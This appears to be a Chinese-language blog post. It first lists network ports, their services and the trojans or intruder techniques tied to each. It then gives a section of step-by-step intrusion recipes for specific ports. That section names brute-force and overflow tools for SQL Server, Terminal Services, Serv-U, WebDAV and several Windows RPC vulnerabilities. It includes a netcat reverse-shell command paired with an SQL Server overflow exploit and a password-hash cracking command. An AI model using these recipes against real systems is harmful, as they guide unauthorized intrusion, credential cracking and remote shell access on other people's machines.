  说明:通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用通常的闭合端口连接它时将产生不同的结果。一种典型的扫描,使用IP地址为0.0.0.0,设置ACK位并在以太网层广播。

  端口:1
  服务:tcpmux
  说明:这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者,默认情况下tcpmux在这种系统中被打开。Irix机器在发布是含有几个默认的无密码的帐户,如:IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。许多管理员在安装后忘记删除这些帐户。因此HACKER在INTERNET上搜索tcpmux并利用这些帐户。

  端口:7
  服务:Echo
  说明:能看到许多人搜索Fraggle放大器时,发送到X.X.X.0和X.X.X.255的信息。

  端口:19
  服务:Character Generator
  说明:这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时会发送含有垃圾字符的数据流直到连接关闭。HACKER利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。同样Fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包,受害者为了回应这些数据而过载。

  端口:21
  服务:FTP
  说明:FTP服务器所开放的端口,用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口。

  端口:22
  服务:Ssh
  说明:PcAnywhere建立的TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点,如果配置成特定的模式,许多使用RSAREF库的版本就会有不少的漏洞存在。

  端口:23
  服务:Telnet
  说明:远程登录,入侵者在搜索远程登录UNIX的服务。大多数情况下扫描这一端口是为了找到机器运行的操作系统。还有使用其他技术,入侵者也会找到密码。木马Tiny Telnet Server就开放这个端口。

  端口:25
  服务:SMTP
  说明:SMTP服务器所开放的端口,用于发送邮件。入侵者寻找SMTP服务器是为了传递他们的SPAM。入侵者的帐户被关闭,他们需要连接到高带宽的E-MAIL服务器上,将简单的信息传递到不同的地址。木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口。

  端口:31
  服务:MSG Authentication
  说明:木马Master Paradise、Hackers Paradise开放此端口。

  端口:42
  服务:WINS Replication
  说明:WINS复制

  端口:53
  服务:Domain Name Server(DNS)
  说明:DNS服务器所开放的端口,入侵者可能是试图进行区域传递(TCP),欺骗DNS(UDP)或隐藏其他的通信。因此防火墙常常过滤或记录此端口。

  端口:67
  服务:Bootstrap Protocol Server
  说明:通过DSL和Cable modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址。HACKER常进入它们,分配一个地址把自己作为局部路由器而发起大量中间人(man-in-middle)攻击。客户端向68端口广播请求配置,服务器向67端口广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。

  端口:69
  服务:Trival File Transfer
  说明:许多服务器与bootp一起提供这项服务,便于从系统下载启动代码。但是它们常常由于错误配置而使入侵者能从系统中窃取任何 文件。它们也可用于系统写入文件。

  端口:79
  服务:Finger Server
  说明:入侵者用于获得用户信息,查询操作系统,探测已知的缓冲区溢出错误,回应从自己机器到其他机器Finger扫描。

  端口:80
  服务:HTTP
  说明:用于网页浏览。木马Executor开放此端口。

  端口:99
  服务:Metagram Relay
  说明:后门程序ncx99开放此端口。

  端口:102
  服务:Message transfer agent(MTA)-X.400 over TCP/IP
  说明:消息传输代理。

  端口:109
  服务:Post Office Protocol -Version3
  说明:POP3服务器开放此端口,用于接收邮件,客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交 换缓冲区溢出的弱点至少有20个,这意味着入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误。

  端口:110
  服务:SUN公司的RPC服务所有端口
  说明:常见RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等

  端口:113
  服务:Authentication Service
  说明:这是一个许多计算机上运行的协议,用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多计算机的信息。但是它可作为许多服务的记录器,尤其是FTP、POP、IMAP、SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务,将会看到许多这个端口的连接请求。记住,如果阻断这个端口客户端会感觉到在防火墙另一边与E-MAIL服务器的缓慢连接。许多防火墙支持TCP连接的阻断过程中发回RST。这将会停止缓慢的连接。

  端口:119
  服务:Network News Transfer Protocol
  说明:NEWS新闻组传输协议,承载USENET通信。这个端口的连接通常是人们在寻找USENET服务器。多数ISP限制,只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子,访问被限制的新闻组服务器,匿名发帖或发送SPAM。

  端口:135
  服务:Location Service
  说明:Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时,它们查找end-point mapper找到服务的位置。HACKER扫描计算机的这个端口是为了找到这个计算机上运行Exchange Server吗?什么版本?还有些DOS攻击直接针对这个端口。

  端口:137、138、139
  服务:NETBIOS Name Service
  说明:其中137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。

  端口:143
  服务:Interim Mail Access Protocol v2
  说明:和POP3的安全问题一样,许多IMAP服务器存在有缓冲区溢出漏洞。记住:一种LINUX蠕虫(admv0rm)会通过这个端口繁殖,因此许多这个端口的扫描来自不知情的已经被感染的用户。当REDHAT在他们的LINUX发布版本中默认允许IMAP后,这些漏洞变的很流行。这一端口还被用于IMAP2,但并不流行。

  端口:161
  服务:SNMP
  说明:SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中,通过SNMP可获得这些信息。许多管理员的错误配置将被暴露在Internet。Cackers将试图使用默认的密码public、private访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络。

  端口:177
  服务:X Display Manager Control Protocol
  说明:许多入侵者通过它访问X-windows操作台,它同时需要打开6000端口。

  端口:389
  服务:LDAP、ILS
  说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。

  端口:443
  服务:Https
  说明:网页浏览端口,能提供加密和通过安全端口传输的另一种HTTP。

  端口:456
  服务:[NULL]
  说明:木马HACKERS PARADISE开放此端口。

  端口:513
  服务:Login,remote login
  说明:是从使用cable modem或DSL登陆到子网中的UNIX计算机发出的广播。这些人为入侵者进入他们的系统提供了信息。

  端口:544
  服务:[NULL]
  说明:kerberos kshell

  端口:548
  服务:Macintosh,File Services(AFP/IP)
  说明:Macintosh,文件服务。

  端口:553
  服务:CORBA IIOP (UDP)
  说明:使用cable modem、DSL或VLAN将会看到这个端口的广播。CORBA是一种面向对象的RPC系统。入侵者可以利用这些信息进入系统。

  端口:555
  服务:DSF
  说明:木马PhAse1.0、Stealth Spy、IniKiller开放此端口。

  端口:568
  服务:Membership DPA
  说明:成员资格 DPA。

  端口:569
  服务:Membership MSN
  说明:成员资格 MSN。

  端口:635
  服务:mountd
  说明:Linux的mountd Bug。这是扫描的一个流行BUG。大多数对这个端口的扫描是基于UDP的,但是基于TCP的mountd有所增加(mountd同时运行于两个端口)。记住mountd可运行于任何端口(到底是哪个端口,需要在端口111做portmap查询),只是Linux默认端口是635,就像NFS通常运行于2049端口。

  端口:636
  服务:LDAP
  说明:SSL(Secure Sockets layer)

  端口:666
  服务:Doom Id Software
  说明:木马Attack FTP、Satanz Backdoor开放此端口

  端口:993
  服务:IMAP
  说明:SSL(Secure Sockets layer)

  端口:1001、1011
  服务:[NULL]
  说明:木马Silencer、WebEx开放1001端口。木马Doly Trojan开放1011端口。

  端口:1024
  服务:Reserved
  说明:它是动态端口的开始,许多程序并不在乎用哪个端口连接网络,它们请求系统为它们分配下一个闲置端口。基于这一点分配从端口1024开始。这就是说第一个向系统发出请求的会分配到1024端口。你可以重启机器,打开Telnet,再打开一个窗口运行natstat -a 将会看到Telnet被分配1024端口。还有SQL session也用此端口和5000端口。

  端口:1025、1033
  服务:1025:network blackjack 1033:[NULL]
  说明:木马netspy开放这2个端口。

  端口:1080
  服务:SOCKS
  说明:这一协议以通道方式穿过防火墙,允许防火墙后面的人通过一个IP地址访问INTERNET。理论上它应该只允许内部的通信向外到达INTERNET。但是由于错误的配置,它会允许位于防火墙外部的攻击穿过防火墙。WinGate常会发生这种错误,在加入IRC聊天室时常会看到这种情况。

  端口:1170
  服务:[NULL]
  说明:木马Streaming Audio Trojan、Psyber Stream Server、Voice开放此端口。

  端口:1234、1243、6711、6776
  服务:[NULL]
  说明:木马SubSeven2.0、Ultors Trojan开放1234、6776端口。木马SubSeven1.0/1.9开放1243、6711、6776端口。

  端口:1245
  服务:[NULL]
  说明:木马Vodoo开放此端口。

  端口:1433
  服务:SQL
  说明:Microsoft的SQL服务开放的端口。

  端口:1492
  服务:stone-design-1
  说明:木马FTP99CMP开放此端口。

  端口:1500
  服务:RPC client fixed port session queries
  说明:RPC客户固定端口会话查询

  端口:1503
  服务:NetMeeting T.120
  说明:NetMeeting T.120

  端口:1524
  服务:ingress
  说明:许多攻击脚本将安装一个后门SHELL于这个端口,尤其是针对SUN系统中Sendmail和RPC服务漏洞的脚本。如果刚安装了防火墙就看到在这个端口上的连接企图,很可能是上述原因。可以试试Telnet到用户的计算机上的这个端口,看看它是否会给你一个SHELL。连接到600/pcserver也存在这个问题。


常用端口利用

1. 1433端口入侵
scanport.exe 查有1433的机器
SQLScanPass.exe 进行字典暴破(字典是关键)
最后 SQLTools.exe入侵
=============================
对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。
nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口
(以上反向的,测试成功)
sqlhelloz.exe 入侵ip 1433 (这个是正向连接)

2. 4899端口入侵
用4899过滤器.exe,扫描空口令的机器

3. 3899的入侵
对很早的机器,可以试试3389的溢出(win3389ex.exe)
对2000的机器,可以试试字典暴破。(tscrack.exe)

4. 80入侵
对sp3以前的机器,可以用webdav入侵;
对bbs论坛,可以试试上传漏洞(upfile.exe或dvup_delphi.exe)
可以利用SQL进行注入。(小榕的注入软件)。

5. serv-u入侵(21端口)
对5. 004及以下系统,可用溢出入侵。(serv5004.exe)
对5.1.0.0及以下系统,可用本地提升权限。(servlocal.exe)
======================================
对serv-u的MD5加密密码,可以用字典暴破。(crack.vbs)
输入一个被serv-u加密的密码(34位长),通过与字典档(dict.txt)的比较,得到密码。如:cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A

6. 554端口
用real554.exe入侵。

7. 6129端口
用DameWare6129.exe入侵。

8. 系统漏洞
利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞,
进行溢出入侵。

9. 3127等端口
可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)。

10. 其他入侵
利用shanlu的入侵软件入侵(WINNTAutoAttack.exe)。
分页: 1/1 第一页 1 最后页 [ 显示模式: 摘要 | 列表 ]